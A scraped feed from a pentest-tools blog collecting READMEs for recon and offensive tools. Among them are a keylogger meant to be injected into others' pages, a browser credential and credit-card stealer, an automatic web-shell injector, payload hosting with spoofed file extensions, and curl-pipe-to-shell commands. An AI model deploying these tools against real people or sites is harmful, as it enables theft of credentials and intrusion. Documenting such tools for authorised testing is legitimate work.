Quantcast
Channel: KitPloit - PenTest Tools!
Viewing all 5816 articles
Browse latest View live

Domained - Multi Tool Subdomain Enumeration

$
0
0

A domain name enumeration tool
The tools contained in domained requires Kali Linux (preferred) or Debian 7+ and Recon-ng
domained uses several subdomain enumeration tools and wordlists to create a unique list of subdomains that are passed to EyeWitness for reporting with categorized screenshots, server response headers and signature based default credential checking. (resources are saved to ./bin and output is saved to ./output)

Initial Install:
  • domained tools: python3 domained.py --install
  • Python required modules: sudo pip install -r ./ext/requirements.txt

Other Dependencies:
  • ldns library for DNS programming:
    • sudo apt-get install libldns-dev -y
  • Go Programming Language:
    • sudo apt-get install golang
NOTE: This is an active recon – only perform on applications that you have permission to test against.

Tools leveraged:

Subdomain Enumeraton Tools:
  1. Sublist3r by Ahmed Aboul-Ela
  2. enumall by Jason Haddix
  3. Knock by Gianni Amato
  4. Subbrute by TheRook
  5. massdns by B. Blechschmidt
  6. Recon-ng by Tim Tomes (LaNMaSteR53)
  7. Amass by Jeff Foley (caffix)
  8. SubFinder by by Ice3man543

Reporting + Wordlists:

Usage
First Step:
Install Required Python Modules: sudo pip install -r ./ext/requirements.txt
Install Tools: sudo python3 domained.py --install

Example 1: python3 domained.py -d example.com
Uses subdomain example.com (Sublist3r (+subbrute), enumall, Knock, Amass, and SubFinder)

Example 2: python3 domained.py -d example.com -b -p --vpn
Uses subdomain example.com with seclist subdomain list bruteforcing (massdns, subbrute, Sublist3r, Amass, enumall, and SubFinder), adds ports 8443/8080 and checks if on VPN

Example 3: python3 domained.py -d example.com -b --bruteall
Uses subdomain example.com with large-all.txt bruteforcing (massdns, subbrute, Sublist3r, Amass, enumall and SubFinder)

Example 4: python3 domained.py -d example.com --quick
Uses subdomain example.com and only Amass and SubFinder

Example 5: python3 dom ained.py -d example.com --quick --notify
Uses subdomain example.com, only Amass and SubFinder and notification

Example 6: python3 domained.py -d example.com --noeyewitness
Uses subdomain example.com with no EyeWitness

Note: --bruteall must be used with the -b flag
OptionDescription
--install/--upgradeBoth do the same function – install all prerequisite tools
--vpnCheck if you are on VPN (update with your provider)
--quickUse ONLY Amass and SubFinder
--bruteallBruteforce with JHaddix All.txt List instead of SecList
--freshDelete old data from output folder
--notifySend Pushover or Gmail Notifications
--activeEyeWitness Active Scan
--noeyewitnessNo Eyewitness
-dThe domain you want to preform recon on
-bBruteforce with subbrute/massdns and SecList wordlist
-s nOnly HTTPs domains
-pAdd port 8080 for HTTP and 8443 for HTTPS

Notifications
  • Complete the ext/notifycfg.ini for Pushover or Gmail notifications. (Enable must be set to True)
  • Please see the Pushover API info here and instructions on how to allow less secure apps on your gmail account here

To-Do List
  • Multiple Domains
  • Notifications
  • Subdomains from censys
  • Subdomains from Shodan
  • Web Frontend/Dashboard
  • Add SubFinder

Thank You to Contributors

Major Updates
  • 07-15-2017: Updated to include error handling and updated reconnaissance techniques from Bugcrowd's LevelUp Conference (including subbrute/masscan and subdomain lists) - influenced by Jason Haddix's talk Bug Hunter's Methodology 2.0
  • 08-09-2017: Various fixes (+ phantomjs error), added --fresh option, removed redundant PyBrute folder from output and added pip requirements.txt
  • 08-15-2017: Added notification (--notify) option with Pushover or Gmail support
  • 08-18-2017: Moved repo from OrOneEqualsOne/reconned
  • 09-28-2017: Updated for Recon-ng dependency + Python3 changes
  • 06-20-2018: Added Amass and option for no EyeWitness
  • 10-12-2018: Added SubFinder



Htbenum - A Linux Enumeration Script For Hack The Box

$
0
0

This script is designed for use in situations where you do not have internet access on a Linux host and would like to run enumeration and exploit suggestion scripts, such as Hack The Box. I find myself running a similar set of scripts when I get an initial foothold on a Linux box, and this script helps automate the process of downloading the latest version of each enumeration script, making it executable, and running it, as well as sending output to a file for later review. It also has a builtin web server to host the tools and upload reports back to the host machine.

Features

Usage
./htbenum.sh [-u] -i IP -p port [-o directory] [-w] [-r]

Example:
Host machine: root@kali:~/htbenum# ./htbenum.sh -u
Host machine: root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w
Victim machine: www-data@victim:/tmp$ wget http://10.10.14.1:80/htbenum.sh
Victim machine: www-data@victim:/tmp$ chmod +x ./htbenum.sh
Victim machine: www-data@victim:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r

Parameters:
-h - View help and usage.
-i IP - IP address of the listening web server used for upload and download.
-p port - TCP port of the listening web server used for upload and download.
-o directory - Custom download and report creation directory (default is /tmp).
-w - Start builtin web server for downloading files and uploading reports.
-u - Update to the latest versions of each tool, overwriting any existing version s.
-r - Upload reports back to the host machine web server (must support PUT requests).
To use htbenum, clone the repo and run the script with the update parameter on your local machine. This will download and update all the needed scripts from the internet (Github) and place them in the same directory as htbenum.sh:
root@kali:~# git clone https://github.com/SolomonSklash/htbenum
root@kali:~# cd htbenum
root@kali:~/htbenum# ./htbenum.sh -u
_ _ ___________ _____ _ _ _ ____ ___
| | | |_ _| ___ \ ___| \ | | | | | \/ |
| |_| | | | | |_/ / |__ | \| | | | | . . |
| _ | | | | ___ \ __|| . ` | | | | |\/| |
| | | | | | | |_/ / |___| |\ | |_| | | | |
\_| |_/ \_/ \____/\____/\_| \_/\___/\_| |_/

By Solomon Sklash - solomonsklash@0xfeed.io

[i] Updating all tools...
2019-11-25 17:54:55 URL:https://raw.githubusercontent.com/diego-treitos/linux-smart-enumeration/master/lse.sh [31859/31859] -> "lse.sh" [1]
2019-11-25 17:54:55 URL:https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh [46476/46476] -> "linenum.sh" [1]
2019-11-25 17:54:56 URL:https://raw.githubusercontent.com/sleventyeleven/linuxprivchecker/master/linuxprivchecker.py [25304/25304] -> "linuxprivchecker.py" [1]
2019-11-25 17:54: 56 URL:https://raw.githubusercontent.com/initstring/uptux/master/uptux.py [29853/29853] -> "uptux.py" [1]
2019-11-25 17:54:56 URL:https://raw.githubusercontent.com/Anon-Exploiter/SUID3NUM/master/suid3num.py [12614/12614] -> "suid3num.py" [1]
2019-11-25 17:54:57 URL:https://raw.githubusercontent.com/belane/linux-soft-exploit-suggester/master/linux-soft-exploit-suggester.py [13886/13886] -> "les-soft.py" [1]
2019-11-25 17:54:58 URL:https://raw.githubusercontent.com/offensive-security/exploit-database/master/files_exploits.csv [5669905/5669905] -> "files_exploits.csv" [1]
2019-11-25 17:54:58 URL:https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh [82214/82214] -> "les.sh" [1]
[i] Update complete!
root@kali:~/htbenum#
Then, start the builtin web server to host the tools and receive the completed reports. The server requires Python 3. You can use you own web server to host the tools, but it will need to support PUT requests for the report uploads.
root@kali:~/htbenum# ./htbenum.sh -i 10.10.14.1 -p 80 -w
Finally, upload the htbenum.sh script to your target machine, make it executable, and run it with the IP and port of your host machine, with an optional directory for downloading files and writing report output. You can also optionally upload the reports back to the host machine. For example:
www-data@htb:/tmp$ wget http://10.10.99.100/htbenum.sh -O /tmp/htbenum.sh
www-data@htb:/tmp$ chmod +x ./htbenum.sh
www-data@htb:/tmp$ ./htbenum.sh -i 10.10.14.1 -p 80 -r
Each tool will send its output to a report file in the same directory as the htbenum.sh script, or whatever directory is specified by the -d parameter.


crauEmu - An uEmu Extension For Developing And Analyzing Payloads For Code-Reuse Attacks

Burp Exporter - A Burp Suite Extension To Copy A Request To The Clipboard As Multiple Programming Languages Functions

$
0
0

Exporter is a Burp Suite extension to copy a request to the clipboard as multiple programming languages functions.
You can export as:
  • cURL
  • Wget
  • Python Request
  • Perl LWP
  • PHP HTTP_Request2
  • Go Native
  • NodeJS Request
  • jQuery AJAX
  • PowerShell

Requirements

Burp Suite import
In Burp Suite, under the Extender/Extensions tab, click on the Add button, select Extension type Python and load the Exporter py file.

Usage
You can copy the request from:
  • Proxy > Intercept
  • Proxy > HTTP history
  • Target > Site map
  • Repeater
Right click > Exporter to > ...

Possible improvements
  • More snippets


Crescendo - A Swift Based, Real Time Event Viewer For macOS - It Utilizes Apple's Endpoint Security Framework

$
0
0

Crescendo is a swift based, real time event viewer for macOS. It utilizes Apple's Endpoint Security Framework.

Getting Started
Apple has introduced some new security mechanisms that we need to enable to get Crescendo running.

1.- Ensure that you have moved the app to your /Applications director or the system extension will fail to load.

2.- For the first run you will be prompted to approve the system extension, after clicking the "Start" button.
  1. NOTE: I have noticed that there is an issue where System Preferences won't show an allow button. I assume this is some internal issue Apple needs to workout. Clicking back to System Preferences and navigating forward again seems to fix the issue.


3.- You will need to enable Full Disk Access for the system extension.


 Requirements
Crescendo is only compatible with >=10.15.X and at least Xcode 10.


Components
This project consists of three main components:
  1. A system extension (CrescendoExtension)
  2. A Framework wrapper around the Endpoint Security Framework (Crescendo)
  3. An app for viewing events in a nice little user interface (CrescendoApp)

Testing and Development
It is highly recommended to test this code in a virtual machine with SIP disabled, since this project requires the endpoint-security entitlement, TCC, and proper signing when SIP is enabled.
  1. Boot into Recovery mode on macOS
  2. Disable SIP and AMFI
csrutil disable
nvram boot-args="amfi_get_out_of_my_way=0x1"
  1. Reboot
  2. Enable developer mode so our extensions will reload everytime we call OSSystemExtensionManager.shared.submitRequest
systemextensionsctl developer on


Signing
If you wish to sign your own application, it is highly recommend to read Apple's documentation on System Extensionrequirements and Notorization.
Signing and entitlement is a non-trivial exercise.


Building
I have included my .xproj file in this release to get folks started. In the future I will likely move to using the new xcconfig file as this seems much more sane of an approach instead of commiting xproj files. If you wish to simply build the example cli application you can do so with Xcode.
In order to build this application and run it on a production macOS system, you will need the endpoint-security entitlement and a developer certificate from Apple.
The Crescendo framework can easily be bundled with any Swift application. I may move to CocoaPods in the future, but I am unfamiliar with them right now.


Issues/Bugs/Features
Please feel free to raise an issue if you wish to see a feature added or encounter an issue. If you wish to contribute a pull request, please just ensure you run swiftlint over your code before contributing.
I will cut releases for the compiled + signed app and include them in the Releases tab as needed.


Troubleshooting
  • If you are running on a production Mac, you should NOT disable SIP or AMFI. Those instructions are for developers wishing to make code changes.
  • Did you enable the system extension by clicking the "Allow" button in System Preferences -> Security & Privacy? If not, you will not see any events.
  • Did you enable full disk access in System Preferences -> Security & Privacy -> Privacy Tab? If not, you will not see any events.
  • If you encounter any issues, open Console.app and search for crescendo or <your_bundle_id>/com.suprhackersteve as a filter, that should assist you in troubleshooting any potential issues. It is also a good idea to check in CrashReporter and see if the extension has crashed or exited with fatalError.
  • If you wish to forcefully unload the system extension, there is a menu item named "Unload System Extension" that will unload it. This action may lead to odd side effects, only do it if you know what you are doing.
  • If you have added a process to the blacklist and it is still allowed to execute, remember to check the real full path. Simply using /Applications/Foo.app, will not be enough to prevent the execution. Also, many macOS applications are launched via xpcproxy.


TODO
  1. Unit tests (need to figure out a reasonable way of running them)
  2. Network events (tracking in this issue)
  3. Better filtering and searching support for event data
  4. Choose a packaging system for framework (Cocoapods, Swift Package Manager, etc)
  5. Try to distribute system extension by itself using the new redistributable entitlement?


DNSProbe - A Tool Built On Top Of Retryabledns That Allows You To Perform Multiple DNS Queries Of Your Choice With A List Of User Supplied Resolvers

$
0
0

DNSProbe is a tool built on top of retryabledns that allows you to perform multiple dns queries of your choice with a list of user supplied resolvers.

Features
  • Simple and Handy utility to query DNS records.

Usage
dnsprobe -h
This will display help for the tool. Here are all the switches it supports.
FlagDescriptionExample
-cMax dns retries (default 1)dnsprobe -c 5
-lList of dns domains (optional)dnsprobe -l domains.txt
-rRequest Type A, NS, CNAME, SOA, PTR, MX, TXT, AAAA (default "A")dnsprobe -r A
-sList of resolvers (optional)dnsprobe -s resolvers.txt
-tNumber of concurrent requests to make (default 250)dnsprobe -t 500
-fOutput type: ip, domain, response, simple (domain + ip, default), full (domain + response), json (domain + raw response)dnsprobe -f json
-oOutput file (optional)dnsprobe -o result.txt

Installation Instructions

From Source
dnsprobe requires go1.13+ to install successfully. Run the following command to get the repo -
GO111MODULE=on go get -u -v github.com/projectdiscovery/dnsprobe  
In order to update the tool, you can use -u flag with go get command.

Querying host for A record
To query a list of domains, you can pass the list via stdin.
GO111MODULE=on go get -u -v github.com/projectdiscovery/dnsprobe

Querying host for CNAME record
> cat domains.txt | dnsprobe

root@test:~# cat bc.txt | dnsprobe
bounce.bugcrowd.com 192.28.152.174
blog.bugcrowd.com 104.20.4.239
blog.bugcrowd.com 104.20.5.239
www.bugcrowd.com 104.20.5.239
www.bugcrowd.com 104.20.4.239
events.bugcrowd.com 54.84.134.174
This will run the tool against domains in domains.txt and returns the results. The tool uses the resolvers specified with -s option to perform the queries or default system resolvers.

Querying CNAME records on the Subfinder output
> dnsprobe -l domains.txt -r CNAME

root@test:~# dnsprobe -l bc.txt -r CNAME
forum.bugcrowd.com bugcrowd.hosted-by-discourse.com.
collateral.bugcrowd.com bugcrowd.outrch.com.
go.bugcrowd.com mkto-ab270028.com.
ww2.bugcrowd.com bugcrowdinc.mktoweb.com.
researcherdocs.bugcrowd.com ssl.readmessl.com.
docs.bugcrowd.com ssl.readmessl.com.

License
DNSProbe is made with love by the projectdiscovery team.


Pwndrop - Self-Deployable File Hosting Service For Red Teamers, Allowing To Easily Upload And Share Payloads Over HTTP And WebDAV

$
0
0

pwndrop is a self-deployable file hosting service for sending out red teaming payloads or securely sharing your private files over HTTP and WebDAV.
If you've ever needed to quickly set up an nginx/apache web server to host your files and you were never happy with the limitations of python -m SimpleHTTPServer, pwndrop is definitely for you!
  
With pwndrop you can:
  • Upload and immediately share multiple files using your own private VPS, using drag & drop.
  • Decide to make files available or unavailable for download with a single click.
  • Set up custom download URLs, for shared files, without playing with directory structure.
  • Set up facade files, which will be served instead of the original file whenever you feel like it.
  • Set up automatic redirects to spoof the file's extension in a shared link.
  • Change MIME type of the served file to change browser's behavior when a download link is clicked.
  • Serve files over HTTP, HTTPS and WebDAV.
  • Install and setup everything using a bash oneliner.
  • Set up pwndrop to work as a nameserver and respond with a valid DNS A record to any sub-domain you choose.
  • Protect your admin panel behind a custom secret URL path and log in securely with your own username and password.
  • Never worry about setting up HTTPS certificates as pwndrop does everything for you in the background (including auto-renewals).
Its main goal is to make file sharing as easy and intuitive as possible, while implementing extra features to aid in red team assessments.
Frontend of pwndrop is developed in pure Vue.js + Bootstrap with no npm or webpack dependencies. The backend serves REST API and manages a local database, powered by GO language.

Write-up
If you want to learn how to use pwndrop or you want to learn what new features were implemented in recent releases, make sure to check out the posts on my blog:
https://breakdev.org/pwndrop

Prerequisites
If you don't yet have the server to deploy to I highly recommend Digital Ocean. The cheapest $5/mo Debian 9 server with 25GB of storage space will work wonders for you. You can use my referral link to get an extra $100 to spend on your servers in 60 days for free.
Register a new domain and point its DNS A records to your VPS IP. You can also register a domain and point its ns1 and ns2 nameservers to pwndrop instance IP - it will automatically respond with valid DNS A replies.
  1. Registered domain name pointing to pwndrop instance IP as a DNS A records or as a nameserver.
  2. Server with at least 512 MB RAM.
If you want to set up pwndrop without a domain, check below how to set up a local instance, which will not auto-generate HTTPS certificates.

Installation
Make sure there aren't any DNS or HTTP(S) servers running before you attempt to install pwndrop.

Oneliner
I do not recommend running oneliners, before downloading and checking the script code, but if you are really in a hurry, here it is:
curl https://raw.githubusercontent.com/kgretzky/pwndrop/master/install_linux.sh | sudo bash
This will download the latest amd64 release binary and fully install a daemon running in a background.

From binary
First you need to download the release package you want from: https://github.com/kgretzky/pwndrop/releases
Then do the following (this performs same actions to the oneliner):
tar zxvf pwndrop-linux-amd64.tar.gz
./pwndrop stop
./pwndrop install
./pwndrop start
./pwndrop status

From source code
First of all, make sure you have installed GO with version at least 1.13: https://golang.org/doc/install
Then do the following:
git clone https://github.com/kgretzky/pwndrop
cd pwndrop
make
make install

Quickstart
Make sure the pwndrop is running.
  1. Open the secret URL to authorize your browser: https://yourdomain.com/pwndrop (this is a default value; make sure to use the secret path, you've pre-configured)
  2. Open the admin panel URL in your browser: https://yourdomain.com/ (since you've authorized your browser, you will now see an admin panel login page)
  3. Create your admin account or login.
  4. Click the configuration cog in top-left corner and make sure you change the secret path to something other than /pwndrop.
You're good to go!

Running from CLI
You don't have to install pwndrop as a daemon and you can run it straight from the console.
usage: pwndrop [start|stop|install|remove|status] [-config <config_path>] [-debug] [-no-autocert] [-no-dns] [-h]

daemon management:
start : start the daemon
stop : stop the daemon
install : install the daemon using the available system manager (systemd, systemv and upstart supported)
remove : uninstall the daemon
status : check status of the installed daemon

parameters:
-config : specify a custom path to a config file (def. 'pwndrop.ini' in same directory as the executable)
-debug : enable debug output
-no-autocert : disable automatic TLS certificate retrieval from LetsEncrypt; useful when you want to connect over IP or/and in a local network
-no-dns : do not run a DNS server on port 53 UDP; use this if you don't want to use pwndrop as a nameserver
-h : usage help

Configuration
On first launch, pwndrop, by default, will create a new configuration file pwndrop.ini in the same directory as an executable. You can later modify it or supply your own, for example to pre-configure pwndrop before the installation to automate the deployment of a tool even better.
Here is an example config file with all available config variables with commentary:
[pwndrop]
listen_ip = "190.33.86.22" # the external IP of your pwndrop instance (must be set if you want to use the nameserver feature)
http_port = 80 # listening port for HTTP and WebDAV
https_port = 443 # listening port for HTTPS
data_dir = "./data" # directory path where data storage will reside (relative paths are from executable directory path)
admin_dir = "./admin" # directory path where the admin panel files reside (relative paths are from executable directory path)

[setup] # optional: put in if you want to pre-configure pwndrop (section will be deleted from the config file on first run)
username = "admin" # username of the admin account
password = "secretpassword" # password of the admin account
redirect_url = "https://www.somedomai n.com" # URL to which visitors will be redirected to if they supply a path, which doesn't point to any shared file (put blank if you want to return 404)
secret_path = "/pwndrop" # secret URL path, which upon visiting will allow your browser to access the login page of the admin panel (make sure to change the default value)
If you want to pre-configure your pwndrop instance before deployment using any of the installation scripts, put your configuration file at /usr/local/pwndrop/pwndrop.ini and it will be parsed the moment pwndrop daemon is first executed.

Credits
Huge thanks to @jaredhaight for inspiring me to learn Vue, with his Faction C2 framework!
Also much thanks to all the people who gave me pre-release feedback and supported me with their opinions on the tool!

License
pwndrop is made by Kuba Gretzky (@mrgretzky) and it's released under GPL3 license.


PEASS - Privilege Escalation Awesome Scripts SUITE

$
0
0

Here you will find privilege escalation tools for Windows and Linux/Unix* (in some near future also for Mac).
These tools search for possible local privilege escalation paths that you could exploit and print them to you with nice colors so you can recognize the misconfigurations easily.

Let's improve PEASS together
If you want to add something and have any cool idea related to this project, please let me know it in the telegram group https://t.me/peass or using github issues and we will update the master version.

Advisory
All the scripts/binaries of the PEAS suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.



RS256-2-HS256 - JWT Attack To Change The Algorithm RS256 To HS256

$
0
0

JWT Attack to change the algorithm RS256 to HS256

Usage
usage: RS256_2_HS256_JWT.py [-h] payload pubkey

positional arguments:
payload JSON payload from JWT to attack
pubkey Public key file to use for signing

optional arguments:
-h, --help show this help message and exit

Example



goBox - GO Sandbox To Run Untrusted Code

$
0
0

GO sandbox to run untrusted code.
goBox uses Ptrace to hook into READ syscalls, giving you the option to accept or deny syscalls before they are executed.

Usage
Usage of ./gobox:

gobox [FLAGS] command

flags:
-h Print Usage.
-n value
A glob pattern for automatically blocking file reads.
-y value
A glob pattern for automatically allowing file reads.

Use cases

You want to install anything
> gobox -n "/etc/password.txt" npm install sketchy-module

BLOCKED READ on /etc/password.txt
> gobox -n "/etc/password.txt" bash <(curl  https://danger.zone/install.sh)

BLOCKED READ on /etc/password.txt

You are interested in what file reads you favourite program makes.
Sure you could use strace, but it references file descriptors goBox makes the this much easier at a glance by printing the absolute path of the fd.
> gobox ls
Wanting to READ /usr/lib/x86_64-linux-gnu/libselinux.so.1 [y/n]
NOTE: It's definitely a better idea to encrypt all your sensitive data, goBox should probably only be used when that is inconvenient or impractical.
NOTE: I haven't made any effort for cross-x compatibility so it currently only works on linux. I'd happily accept patches to improve portability.


Vulnx v2.0 - An Intelligent Bot Auto Shell Injector That Detect Vulnerabilities In Multiple Types Of CMS {(Wordpress , Joomla , Drupal , Prestashop ...)

$
0
0

Vulnx is An Intelligent Bot Auto Shell Injector that detects vulnerabilities in multiple types of Cms, fast cms detection,informations gathering and vulnerabilitie Scanning of the target like subdomains, ipaddresses, country, org, timezone, region, ans and more ...
Instead of injecting each and every shell manually like all the other tools do, VulnX analyses the target website checking the presence of a vulnerabilitie if so the shell will be Injected.searching urls with dorks Tool.

Features
  • Detects cms (wordpress, joomla, prestashop, drupal, opencart, magento, lokomedia)
  • Target informations gatherings
  • Target Subdomains gathering
  • Multi-threading on demand
  • Checks for vulnerabilities
  • Auto shell injector
  • Exploit dork searcher
  • Ports Scan High Level
  • Dns-Servers Dump
  • Input multiple target to scan.
  • Dorks Listing by Name& by ExploitName.
  • Export multiple target from Dorks into a logfile.

DNS-Map-Results
To do this,run a scan with the --dns flag and -d for subdomains. To generate a map of isetso.rnu.tn, you can run the command vulnx -u isetso.rnu.tn --dns -d --output $PATHin a new terminal.
$PATH : Where the graphs results will be stored.


Let's generates an image displaying target Subdomains,MX & DNS data.


Exploits


Joomla

Wordpress

Drupal

PrestaShop

Opencart

VulnxMode
NEW vulnx now have an interactive mode. URLSET


DORKSET


Available command line options
READ VULNX WIKI
usage: vulnx [options]

-u --url url target
-D --dorks search webs with dorks
-o --output specify output directory
-t --timeout http requests timeout
-c --cms-info search cms info[themes,plugins,user,version..]
-e --exploit searching vulnerability& run exploits
-w --web-info web informations gathering
-d --domain-info subdomains informations gathering
-l, --dork-list list names of dorks exploits
-n, --number-page number page of search engine(Google)
-p, --ports ports to scan
-i, --input specify domains to scan from an input file
--threads number of threads
--dns dns informations gathering

Docker
VulnX in DOCKER !!.
$ git clone https://github.com/anouarbensaad/VulnX.git
$ cd VulnX
$ docker build -t vulnx ./docker/
$ docker run -it --name vulnx vulnx:latest -u http://example.com
run vulnx container in interactive mode


to view logfiles mount it in a volume like so:
$ docker run -it --name vulnx -v "$PWD/logs:/VulnX/logs" vulnx:latest -u http://example.com
change the mounting directory..
VOLUME [ "$PATH" ]

Install vulnx on Ubuntu
$ git clone https://github.com/anouarbensaad/vulnx.git
$ cd VulnX
$ chmod +x install.sh
$ ./install.sh
Now run vulnx


Install vulnx on Termux
$ pkg update
$ pkg install -y git
$ git clone http://github.com/anouarbensaad/vulnx
$ cd vulnx
$ chmod +x install.sh
$ ./install.sh
CLICK HERE TO SHOW THE RESULT

Install vulnx in Windows
  • click here to download vulnx
  • download and install python3
  • unzip vulnx-master.zip in c:/
  • open the command prompt cmd.
> cd c:/vulnx-master
> python vulnx.py

example command with options : settimeout=3 , cms-gathering = all , -d subdomains-gathering , run --exploits
vulnx -u http://example.com --timeout 3 -c all -d -w --exploit

example command for searching dorks : -D or --dorks , -l --list-dorks
vulnx --list-dorks return table of exploits name. vulnx -D blaze return urls found with blaze dork

Versions

Warning!
I Am Not Responsible of any Illegal Use

Contribution & License
You can contribute in following ways:
  • Report bugs & add issues
  • Search for new vulnerability
  • Develop plugins
  • Searching Exploits
  • Give suggestions (Ideas) to make it better
Do you want to have a conversation in private? email me : Bensaad.tig@gmail.com
VulnX is licensed under GPL-3.0 License


Flux-Keylogger - Modern Javascript Keylogger With Web Panel

$
0
0

Modern javascript keylogger with web panel

Web panel:


Logging:
  • Keylogger
  • Cookies
  • Location
  • Remote IP
  • User-Agents

Installation server files:
  • Upload files from server directory to you server
  • Change default username, password in flux.php
  • Go to http://you.host/flux.php
  • Click build
  • Now inject script tag to other documents


Lk Scraper - An Fully Configurable Linkedin Scrape (Scrape Anything Within Linkedin)

$
0
0
Scrapes Any Linkedin Data

Installation
$ pip install git+git://github.com/jqueguiner/lk_scraper

Setup

Using Docker compose
$ docker-compose up -d
$ docker-compose run lk_scraper python3

Using Docker only for selenium server
First, you need to run a selenium server
$ docker run -d -p 4444:4444 --shm-size 2g selenium/standalone-firefox:3.141.59-20200326
After running this command, from the browser navigate to your IP address followed by the port number and /grid/console. So the command will be http://localhost:4444/grid/console.

Retrieving Cookie

Browser-Independent:
Navigate to Linkedin.com and log in
Open up the browser developer tools (Ctrl-Shift-I or right click -> inspect element)



Chrome:
Select the Application tab
Under the Storage header on the left-hand menu, click the Cookies dropdown and select www.linkedin.com
Find the li_at cookie, and double click the value to select it before copying

Firefox:
Select Storage tab
Click the Cookies dropdown and select www.linkedin.com
Find and copy the li_at value

Setting up the cookie

Method 1 : Setting the cookie in the config file
You can add your linkedin li_at cookie in the config file that is located in your home (~/.lk_scraper/config.yml) see


Method 2 : Setting the cookie at the Scraper level
from lk_scraper import Scraper
li_at = "My_super_linkedin_cookie"
scraper = Scraper(li_at=li_at)

Method 3 : Using Variable Environment
(Not implemented Yet)
$ export LI_AT="My_super_linkedin_cookie"

A full working example
run the jupyter notebook linkedin-example.ipynb

Usage
from lk_scraper import Scraper
scraper = Scraper()

Company Scraping
from lk_scraper import Scraper
scraper = Scraper()
company = scraper.get_object(object_name='company', object_id='apple')

Profil Scraping
from lk_scraper import Scraper
scraper = Scraper()
profil = scraper.get_object(object_name='profil', object_id='jlqueguiner')


Adamantium-Thief - Decrypt Chromium Based Browsers Passwords, Cookies, Credit Cards, History, Bookmarks

$
0
0
Get chromium browsers: passwords, credit cards, history, cookies, bookmarks.
Chrome 80 > is supported!

Examples:

Get passwords from browsers:
Stealer.exe PASSWORDS


Get credit cards from browsers:
Stealer.exe CREDIT_CARDS


Get history from browsers:
Stealer.exe HISTORY


Get bookmarks from browsers:
Stealer.exe BOOKMARKS


Get cookies from browsers:
Stealer.exe COOKIES


Browsers list:
  • Google Chrome
  • Opera
  • Chromium
  • Brave-Browser
  • Epic Privacy Browser
  • Amigo
  • Vivaldi
  • Orbitum
  • Atom
  • Kometa
  • Comodo Dragon
  • Torch
  • Slimjet
  • 360Browser
  • Maxthon3
  • K-Melon
  • Sputnik
  • Nichrome
  • CocCoc Browser
  • Uran
  • Chromodo
  • Yandex (old)


Httpgrep - Scans HTTP Servers To Find Given Strings In URIs

$
0
0

A python tool which scans for HTTP servers and finds given strings in URIs.

Usage
$ httpgrep -H

--==[ httpgrep by nullsecurity.net ]==--

usage

httpgrep -h <args> -s <arg> [opts] | <misc>

opts

-h <hosts|file> - single host or host-range/cidr-range or file containing
hosts, e.g.: foobar.net, 192.168.0.1-192.168.0.254,
192.168.0.0/24, /tmp/hosts.txt
-p <port> - port to connect to (default: 80)
-t - use TLS/SSL to connect to service
-u <URI> - URI to search given strings in, e.g.: /foobar/, /foo.html
(default /)
-s <string|file> - a single string or multile strings in a file to find in
given URIs, e.g. 'tomcat 8', '/tmp/igot0daysforthese.txt'
-b <bytes> - num bytes to read from response. offset == response[0].
(default: 64)
-x <threads> - num thre ads for concurrent checks (default: 50)
-c <seconds> - num seconds for socket timeout (default: 2.5)
-i - use case-insensitive search
-v - verbose mode (default: quiet)

misc

-H - print help
-V - print version information


Author
noptrix

Notes
  • quick'n'dirty code
  • httpgrep is already packaged and available for BlackArch Linux
  • My master-branches are always stable; dev-branches are created for current work.
  • All of my public stuff you find are officially announced and published via nullsecurity.net.

License
Check docs/LICENSE.

Disclaimer
We hereby emphasize, that the hacking related stuff found on nullsecurity.net are only for education purposes. We are not responsible for any damages. You are responsible for your own actions.



githubFind3r - Fast Command Line Repo/User/Commit Search Tool

$
0
0

githubFind3r is a very fast command line repo/user/commit search tool

Installation
git clone https://github.com/atmoner/githubFind3r.git
cd githubFind3r
npm install
Run it
node githubFind3r.js


Nullscan - A Modular Framework Designed To Chain And Automate Security Tests

$
0
0

A modular framework designed to chain and automate security tests. It parses target definitions from the command line and runs corresponding modules and their nullscan-tools afterwards. It can also take hosts and start nmap first in order to perform a basic portscan and run the modules afterwards. Also, nullscan can parse a given nmap logfile for open tcp and udp ports and again run the modules afterwards. All results will be logged in specified directories with a clean structure and a HTML report can subsequently be generated.
This code is dedicated to my friend Zeljko (R.I.P.), who passed away, 2nd Dec 2012.

Usage
[ hacker@blackarch ~ ]$ nullscan -H
____
____ __ __/ / /_____________ _____
/ __ \/ / / / / / ___/ ___/ __ `/ __ \
/ / / / /_/ / / (__ ) /__/ /_/ / / / /
/_/ /_/\__,_/_/_/____/\___/\__,_/_/ /_/

--==[ by nullsecurity.net ]==--

usage

nullscan <modes> [options] | <misc>

modes

-t <targets> - hosts to scan via nmap and then attack - ? for info
-u <uris> - targets to attack directly via URIs - ? for info
-l <file> - parse nmap xml logfile and attack hosts on open ports

options

-o <opts> - extra options for modes - ? for info
-i <mods> - include modules (default: all) - ? for info
-I <tools> - include tools (default: all) - ? for info
-x <mods> - exclude modules (default: see nullscan.cfg) - ? for info
-X <tools> - exclude tools (default: see nullscan. cfg) - ? for info
-T <num> - num workers for parallel target checks (default: 15)
-M <num> - num workers to run parallel modules (default: 10)
-P <num> - num workers to run parallel tools (default: 15)
-k <sec> - num seconds for tool (global) timeout (default: 0.0)
-r - generate an html report
-R <dir> - work, log and report dir (default: pwd + date)
-c <file> - config file (default: /etc/nullscan.conf)
-v - verbose mode (default: false)
-d - debug mode (default: false)

misc

-C - check for missing tools (recommended)
-p <args> - print tools and exit - ? for info
-m <args> - create and add a new module - ? for info
-a <args> - add tool to existing module - ? for info
-V - print version of nullscan and exit
-H - print this help and exit

examples

-t 192.168.0.0/24 -i tcp=ssh,http -r -I hydra_ssh,crack_http_auth

-u 'tcp://nsa.gov:80=http,22=ssh;udp://foo.bar:1337;
http://fbi.gov,https://cia.gov;mail://foo@bar.baz;
person://justin bieber,noptrix;lan://eth0,tap0;wifi://wlan0'
-o 'user=root;plists=/tmp/pwds.txt;rhost=192.168.0.1;
sport=1337;dirsearch_web=-o my -p "own opts" -c 1 -f 4;'

-n /tmp/scanned.xml -i 'host=icmp;tcp=default' -r

-l hosts.txt -X sqlmap,wpscan -v -o 'httping_web=-p cia.gov;
rpcdump_udp=-f foo -b bar;nmap=-sT,-n,-p-;'

